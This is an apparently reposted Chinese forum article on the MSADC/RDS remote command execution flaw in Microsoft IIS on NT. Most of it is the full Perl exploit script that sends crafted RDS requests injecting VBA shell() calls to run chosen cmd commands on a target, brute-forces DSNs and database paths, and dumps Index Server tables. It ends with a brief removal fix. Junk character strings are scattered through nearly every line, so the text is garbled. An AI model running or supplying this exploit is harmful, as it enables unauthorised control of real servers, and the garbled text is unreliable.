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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) f52P1V]  
]91QZ~4a  
涉及程序: dKD:mU",M  
Microsoft NT server k?L2LIB<  
l\Ww^   
描述: ~Mar  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9;\mq'v%  
@OFxnF`  
详细: }(XKy!G6  
如果你没有时间读详细内容的话,就删除: 9iM%kY#)W  
c:\Program Files\Common Files\System\Msadc\msadcs.dll `$6~QLUf  
有关的安全问题就没有了。 cPAR.h,b?  
eV(9I v[  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 YHu]\'Ff  
HOCj* O4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 'DpJ#w\81  
关于利用ODBC远程漏洞的描述,请参看: Q[q`)~|  
~LOE^6C+~o  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |</)6r  
FINHO058^Y  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 5F ^VvzNn  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp }P{Wk7#Jq  
cL03V?} ~  
这里不再论述。 IPYwUix  
dkCU U  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~7*2Jp'  
@@{5]Y  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset %OO}0OW  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! hh%?E\qM  
0jjtx'F  
f38e(Q];m  
#将下面这段保存为txt文件,然后: "perl -x 文件名" h4F%lGot  
E!mv}  
#!perl j4 #uj[A  
# 0{8L^ jB/  
# MSADC/RDS 'usage' (aka exploit) script +Y~5197V  
# m9i/rK_  
# by rain.forest.puppy qdv O>k3  
# LfFXYX^  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 6},[HpXRc4  
# beta test and find errors! nQ_{IO8/6W  
Rc1k_fZ}  
use Socket; use Getopt::Std; 4:N*C7 P  
getopts("e:vd:h:XR", \%args); HDZl;=  
^V96l Kt/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";  <9yh:1"X  
 fCJjFL:  
if (!defined $args{h} && !defined $args{R}) { 0NC70+4L  
print qq~ B,w ZI4oi*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } (?JdiY/  
-h <host> = host you want to scan (ip or domain) b"N!#&O]  
-d <seconds> = delay between calls, default 1 second >,]8iMh  
-X = dump Index Server path table, if available }$L63;/H  
-v = verbose {A:uy  
-e = external dictionary file for step 5 NId.TaXh  
9_O4 yTL  
Or a -R will resume a command session 3Ioe#*5\  
d,JDfG)  
~; exit;}  sTlel&  
u YT$$'S  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; (A6~mi r!  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} l&qCgw  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} @CL#B98jl  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); FC, =g`Q!  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} .\^0RyJE  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } A&~fw^HM  
I_u/  
if (!defined $args{R}){ $ret = &has_msadc; :Q3pP"H,}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;' uQBx}  
5j1d=h  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" RE%f'y  
. "cmd /c "; &gY) x{  
$in=<STDIN>; chomp $in; sEdz`F  
$command="cmd /c " . $in ; VoZ{I{>|  
{a:05Y  
if (defined $args{R}) {&load; exit;} y-1e(:GF  
crP2jF!  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; f;zNNx< ;  
&try_btcustmr; gK[;"R)4o@  
Zg(Y$ h\  
print "\nStep 2: Trying to make our own DSN..."; HN{c)DIm]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?";SUku  
uD&B{c+a  
print "\nStep 3: Trying known DSNs..."; w#9Kt W,tt  
&known_dsn; P)=.D u)  
/^BC Qaj  
print "\nStep 4: Trying known .mdbs..."; k5.5$<< T  
&known_mdb; U+)p'%f;  
:OY~Q3 @  
if (defined $args{e}){ FRrp@hE  
print "\nStep 5: Trying dictionary of DSN names..."; w!7\wI[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,94<j,"  
'RK"/ZhqE  
print "Sorry Charley...maybe next time?\n"; U4pIRa)S  
exit; 5XZ! yYB?  
^QRg9s,T<  
############################################################################## ~hLan&T  
EMW6'  
sub sendraw { # ripped and modded from whisker "n!yK  
sleep($delay); # it's a DoS on the server! At least on mine... kW g.-$pp  
my ($pstr)=@_; WKEb '^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || c[dzO .~  
die("Socket problems\n"); )?*YrWO{  
if(connect(S,pack "SnA4x8",2,80,$target)){ AC) M2;  
select(S); $|=1; NXY jb(4:  
print $pstr; my @in=<S>; _95296  
select(STDOUT); close(S); M<fhQJ  
return @in; PLyity-L[7  
} else { die("Can't connect...\n"); }} 2@D`^]]  
*glZb;_  
############################################################################## 6Dq4Q|C  
k&]nF,f  
sub make_header { # make the HTTP request 86r5!@WN  
my $msadc=<<EOT {3tzr;c?  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 i6`"e[aT[o  
User-Agent: ACTIVEDATA 9oWU]A\k>  
Host: $ip &v{Ehkr*  
Content-Length: $clen  }vd*eexA  
Connection: Keep-Alive ):D"L C  
9E!le=>  
ADCClientVersion:01.06 *gbK :*_J  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 G'ykcB._  
(\9`$   
--!ADM!ROX!YOUR!WORLD! 200yN+ec  
Content-Type: application/x-varg X*8y"~X|vq  
Content-Length: $reqlen ff"wg\O4  
B`5<sW  
EOT =!O->C:  
; $msadc=~s/\n/\r\n/g; BX,)G HE  
return $msadc;} z$32rt8{`v  
1o_kY"D<  
############################################################################## }]?Si6_ZZ  
AlSO  
sub make_req { # make the RDS request \N>-+r  
my ($switch, $p1, $p2)=@_; ly[LF1t   
my $req=""; my $t1, $t2, $query, $dsn; yPm2??5MW>  
wbO6Ag@))  
if ($switch==1){ # this is the btcustmr.mdb query ^PksXfk  
$query="Select * from Customers where City=" . make_shell(); 3^ Yc%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . U@lc 1#  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} &1xCPKIr  
*2'8d8>R%]  
elsif ($switch==2){ # this is general make table query w2 )Ro:G  
$query="create table AZZ (B int, C varchar(10))"; BT$p~XB  
$dsn="$p1";} $`=p]  
KhCP9(A=Qo  
elsif ($switch==3){ # this is general exploit table query gg;r;3u  
$query="select * from AZZ where C=" . make_shell(); I$n= >s  
$dsn="$p1";} jcH@*c=%e  
8sG3<$Z^  
elsif ($switch==4){ # attempt to hork file info from index server FqKJids-  
$query="select path from scope()"; TOYK'|lwM  
$dsn="Provider=MSIDXS;";} )*|/5wW1  
QFyL2Xes/  
elsif ($switch==5){ # bad query ~}/Dl#9R!  
$query="select"; )&DAbB!O  
$dsn="$p1";} bQAznd0  
!XA3G`}p6s  
$t1= make_unicode($query); =lXj%V^8N  
$t2= make_unicode($dsn); "q4tvcK.  
$req = "\x02\x00\x03\x00"; h$>F}n j  
$req.= "\x08\x00" . pack ("S1", length($t1)); [}X|&`'i  
$req.= "\x00\x00" . $t1 ; B*7kX&Uq  
$req.= "\x08\x00" . pack ("S1", length($t2)); eE;tiX/  
$req.= "\x00\x00" . $t2 ; 7\u+%i;YZ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; /YKd [RQ  
return $req;} uGKjZi  
+Qs]8*^?;  
############################################################################## ,!ZuH?Z  
Ycm)PU["  
sub make_shell { # this makes the shell() statement 4 23zX6  
return "'|shell(\"$command\")|'";} #u<Qc T@  
3JoY-  
############################################################################## :fRXLe1=  
Vs>Pv$kW  
sub make_unicode { # quick little function to convert to unicode b^Hr zn  
my ($in)=@_; my $out; Er~17$b  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } B( [x8A]  
return $out;} Vla,avON  
^}3^|jF  
############################################################################## a(Y'C`x  
BT{;^Hp  
sub rdo_success { # checks for RDO return success (this is kludge) ^-;S&=  
my (@in) = @_; my $base=content_start(@in); WxdQ^#AE  
if($in[$base]=~/multipart\/mixed/){ U%{GLO   
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ! \] ^c  
return 0;}  urp|@WZ  
;D5>iek5  
############################################################################## fBO/0uW  
mDD.D3RS  
sub make_dsn { # this makes a DSN for us KaIKb=4L|  
my @drives=("c","d","e","f"); gW, [X(  
print "\nMaking DSN: "; \j)Evjw  
foreach $drive (@drives) { 0V%c%]PH  
print "$drive: ";  >DL  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . bT,:eA  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" =j]y?;7q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 5Z=4%P*I  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Tw~R-SiS`s  
return 0 if $2 eq "404"; # not found/doesn't exist ~G@NWF?7  
if($2 eq "200") { 6fwNlC/9  
foreach $line (@results) { Q @}$b(b  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ,CE/o7.FG  
} return 0;} P jQl(v&O  
tzI|vVT,  
############################################################################## 1- RY5R}VR  
F?L]Dff  
sub verify_exists { u09Tlqh0 3  
my ($page)=@_; egmUUuO  
my @results=sendraw("GET $page HTTP/1.0\n\n"); kuY^o,u-1e  
return $results[0];} w7)pBsI  
;W|kc</R*  
############################################################################## <J%qzt}  
F)P:lvp<r  
sub try_btcustmr { .5JIQWE(  
my @drives=("c","d","e","f"); 6:1`lsP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); eSPS3|YYn  
FT).$h~+4  
foreach $dir (@dirs) { uJ`N'`Z  
print "$dir -> "; # fun status so you can see progress q|5WHB  
foreach $drive (@drives) { ITPE2x  
print "$drive: "; # ditto  31n"w;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; VPN 9 Ql=  
$reqlenlen=length( "$reqlen" ); BD6!,  
$clen= 206 + $reqlenlen + $reqlen; A#>wbHjWF  
z:'m50'  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); wGHft`Z  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} #1YMpL  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ]#~J[uk  
KFM[caKeJO  
############################################################################## vgW(l2,@  
]dycesc'  
sub odbc_error { v[CR$@Y  
my (@in)=@_; my $base; =lNW1J\SW  
my $base = content_start(@in); >=k7#av  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this as07~Xvp-  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _z_YJ7A>  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b:1B >  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I0-1Hr  
return $in[$base+4].$in[$base+5].$in[$base+6];} $G=^cNB|JB  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Owp]>e  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . E2hsSqsu=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ~B<\#oO  
4vg,g(qi<  
############################################################################## 8~y!X0Ov!  
r*HSi.'21  
sub verbose { }0 ~$^J  
my ($in)=@_; ?[Yn<|  
return if !$verbose; @Y~gdK  
print STDOUT "\n$in\n";} HB9"T5Pd*  
HoBx0N9\2  
############################################################################## R6~6b&-8  
;5X6`GlS#5  
sub save { S iNgV\('U  
my ($p1, $p2, $p3, $p4)=@_; c<13r=+  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; j)i c7 b  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; cfmwz~S6i  
close OUT;} jLFaf#G]  
4Q+,_iP  
############################################################################## (4Db%Iw  
j ,rc9  
sub load { hl]d99Lc  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; MpKXC   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 1D%P;eUDp  
@p=<IN>; close(IN); e"@r[pq-{u  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); _d!sSyk`  
$target= inet_aton($ip) || die("inet_aton problems"); :7@[=n  
print "Resuming to $ip ..."; >$kFYb>~q  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; mjOxmwo  
if($p[1]==1) { ['QhC({  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; %>&~?zrq  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; .p{lzI9  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); k r$)nf  
if (rdo_success(@results)){print "Success!\n";} #h ud_  
else { print "failed\n"; verbose(odbc_error(@results));}} GS*O{u  
elsif ($p[1]==3){ !fs ~ >  
if(run_query("$p[3]")){ {F_>cyR  
print "Success!\n";} else { print "failed\n"; }} ln<[CgV8  
elsif ($p[1]==4){ hl[<o<`Q  
if(run_query($drvst . "$p[3]")){ 3SM'vV0[  
print "Success!\n"; } else { print "failed\n"; }} padV|hF3(e  
exit;} NO/$} vw  
oVqx)@$K  
############################################################################## QAI=nrlp  
yS)k"XNb  
sub create_table { M5[#YG'FlQ  
my ($in)=@_; '"Cqq{*  
$reqlen=length( make_req(2,$in,"") ) - 28; =$}`B{(H  
$reqlenlen=length( "$reqlen" ); 2SU'lh\E  
$clen= 206 + $reqlenlen + $reqlen; :Gz$(!j1.'  
my @results=sendraw(make_header() . make_req(2,$in,"")); .KYs5Qu  
return 1 if rdo_success(@results); vkLt#yj~  
my $temp= odbc_error(@results); verbose($temp); )~P<ruk>,C  
return 1 if $temp=~/Table 'AZZ' already exists/; EAY+#>L*  
return 0;} VK9E{~0=  
!'\(OFv9Im  
############################################################################## e?\Od}Hbw  
3{H!B&sb  
sub known_dsn { ,>g( %3C  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go C&q}&=3r  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ?n<sN"  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :wzbD,/M  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); I9TNUZq('  
h*4wi.-  
foreach $dSn (@dsns) { yyPj!<.MGP  
print "."; 3b?-83a  
next if (!is_access("DSN=$dSn")); aorL,l  
if(create_table("DSN=$dSn")){ WbFCj0  
print "$dSn successful\n"; b6g9!  
if(run_query("DSN=$dSn")){ M#o=.,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { AED 9vDE  
print "Something's borked. Use verbose next time\n";}}} print "\n";} hAi'|;g  
M/[9ZgDc  
############################################################################## WUDXx %  
Pi&\GMzd  
sub is_access { 8=\k<X{`  
my ($in)=@_; $ z+ =lF  
$reqlen=length( make_req(5,$in,"") ) - 28; JjAO9j%  
$reqlenlen=length( "$reqlen" ); kSJ:4!lFU  
$clen= 206 + $reqlenlen + $reqlen; 6{Bvl[mhI  
my @results=sendraw(make_header() . make_req(5,$in,"")); gi A(VUwI>  
my $temp= odbc_error(@results); 4[0.M  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); IxP$ lx  
return 0;} /[3!kW  
RvW>kATb_F  
############################################################################## wS2N,X/Y  
or` "{wop  
sub run_query { F fzY3r+   
my ($in)=@_; yErvgf  
$reqlen=length( make_req(3,$in,"") ) - 28; ~fA H6FdZ\  
$reqlenlen=length( "$reqlen" ); 6Hpj&Qm  
$clen= 206 + $reqlenlen + $reqlen; KrECAc  
my @results=sendraw(make_header() . make_req(3,$in,"")); {*|$@%y!  
return 1 if rdo_success(@results); ku5g`ho  
my $temp= odbc_error(@results); verbose($temp); I8hmn@ce  
return 0;} a'@?c_y;$  
\AR3DDm  
############################################################################## B gG+  
ffQ&1T<  
sub known_mdb { {Q L qf   
my @drives=("c","d","e","f","g"); )\0c2_w>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); s&OwVQ<M  
my $dir, $drive, $mdb; qo;F]v*pkK  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; i `8Y/$aT  
w*N9p8hb]  
# this is sparse, because I don't know of many jr5x!@rb  
my @sysmdbs=( "\\catroot\\icatalog.mdb", "V_PWEi  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", zPoIs @  
"\\system32\\certmdb.mdb", |c>A3 P$=B  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% t #g6rh&  
}oTac  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ;c>Rjg&[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", esEOV$s}  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0g(hY:  
"\\cfusion\\cfapps\\security\\realm_.mdb", ?3i-wpzMp  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", V/!8q`lYNJ  
"\\cfusion\\database\\cfexamples.mdb", I-q@@! =  
"\\cfusion\\database\\cfsnippets.mdb", Ts:pk  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 58My6(5y  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ]HP  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Ih95&HsdC  
"\\cfusion\\database\\smpolicy.mdb", J_mpI.^Bsf  
"\\cfusion\\database\cypress.mdb", 5B( r[Ni b  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", (iiyptJ  
"\\website\\cgi-win\\dbsample.mdb", #/1,Cv yj  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 7"y"%+*/  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" p.1|bXY`  
); #these are just {/ _.]Vh  
foreach $drive (@drives) { A]vQ1*pnk  
foreach $dir (@dirs){ ji2if.t@  
foreach $mdb (@sysmdbs) { 2S8/ lsB  
print "."; .,x08M  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 'u.`!w '|L  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |^@TA=_  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ G";yqG  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; XH2g:$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} @,sg^KB  
.|{*.YE  
foreach $drive (@drives) { Fk 1M5Dm  
foreach $mdb (@mdbs) { PHD$E s  
print "."; i@_|18F]`  
if(create_table($drv . $drive . $dir . $mdb)){ s\Cl3  
print "\n" . $drive . $dir . $mdb . " successful\n"; <OW` )0UX  
if(run_query($drv . $drive . $dir . $mdb)){ te'<xfG  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; +Mv0X%(N  
} else { print "Something's borked. Use verbose next time\n"; }}}} w>rglm&  
} Md_\9G .e  
GI7CZ  
############################################################################## }`  
 c:~o e  
sub hork_idx { ipKkz  
print "\nAttempting to dump Index Server tables...\n"; ZT_EpT=1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; %r~TMU2"  
$reqlen=length( make_req(4,"","") ) - 28; 9}2I'7]  
$reqlenlen=length( "$reqlen" ); .Fh5:W N  
$clen= 206 + $reqlenlen + $reqlen; kG,6;aVZ8  
my @results=sendraw2(make_header() . make_req(4,"","")); ?~S\^4]  
if (rdo_success(@results)){ kRE^G*?  
my $max=@results; my $c; my %d; \&AmX8" [  
for($c=19; $c<$max; $c++){ ^O[q C X  
$results[$c]=~s/\x00//g; +5);"71  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Fz)z&WT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 2J|Yc^b6  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; NY1olnI  
$d{"$1$2"}="";} =`vUWONn  
foreach $c (keys %d){ print "$c\n"; } b9w9M&?fT  
} else {print "Index server doesn't seem to be installed.\n"; }} {?BxVDD07  
tM ]qR+  
############################################################################## "vjz $.  
Z:9"7^+  
sub dsn_dict { UTmX"Li  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &Cdk%@Tj]B  
while(<IN>){ A@du*5> (  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; > -Jd@7-  
next if (!is_access("DSN=$dSn")); &HZ"<y{j  
if(create_table("DSN=$dSn")){ M.!U;U<?  
print "$dSn successful\n"; 81H04L9K 7  
if(run_query("DSN=$dSn")){ Scs \nF2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Cq/*/jBM  
print "Something's borked. Use verbose next time\n";}}} w]F(o  
print "\n"; close(IN);} R^fVw Dl\  
0 Co_,"  
############################################################################## n>Q/XQXB  
>,A:zbs&  
sub sendraw2 { # ripped and modded from whisker 8TC%]SvYim  
sleep($delay); # it's a DoS on the server! At least on mine... m/%sBw\rx  
my ($pstr)=@_; =f{V<i~q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || AXz'=T}{  
die("Socket problems\n"); *V3}L Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ `gD'q5.z;3  
print "Connected. Getting data"; KS1Z&~4  
open(OUT,">raw.out"); my @in; [|xHXcW  
select(S); $|=1; print $pstr; KDwjck"5;  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} L&Bc-kMH  
close(OUT); select(STDOUT); close(S); return @in; wp-*S}TT  
} else { die("Can't connect...\n"); }} RBJgQ<j8  
hf8 =r5j=  
############################################################################## :_i1)4[!  
r2qxi'  
sub content_start { # this will take in the server headers 9]Uvy|  
my (@in)=@_; my $c; VLA9&.*@  
for ($c=1;$c<500;$c++) { d9sl(;r  
if($in[$c] =~/^\x0d\x0a/){ H)G ^ Y1  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @T|mHfQ8  
else { return $c+1; }}}  o-_0  
return -1;} # it should never get here actually ?o"wyF A*  
N3TkRJZ  
############################################################################## t+W+f  
/^ hB6_'D  
sub funky { k6QQoLb$V  
my (@in)=@_; my $error=odbc_error(@in); IFH%R>={  
if($error=~/ADO could not find the specified provider/){ 959&I0=g"  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; OTl\^!  
exit;} IO/2iSbW  
if($error=~/A Handler is required/){ O+@"l$;N  
print "\nServer has custom handler filters (they most likely are patched)\n"; ~}z{RE($v  
exit;} W0K&mBu  
if($error=~/specified Handler has denied Access/){ <}pqj3  
print "\nServer has custom handler filters (they most likely are patched)\n"; Y<#WC#3=  
exit;}} ',n;ag`c  
O?L _9L*  
############################################################################## `W e M  
k ~lj:7g~  
sub has_msadc { ,G S8Gu  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); KYD,eVQ  
my $base=content_start(@results); RX4O1Z0  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?|Fu^eR%X  
return 0;} V=Iau_  
yc8FEn!)&  
######################## r.** z j  
Mii-Q`.:  
b[$%Wg  
解决方案: MI0'ou8l  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 8Y3c,p/gS>  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 e'[T5HI  
%P0dY:L~  
拿出来充数 哈哈
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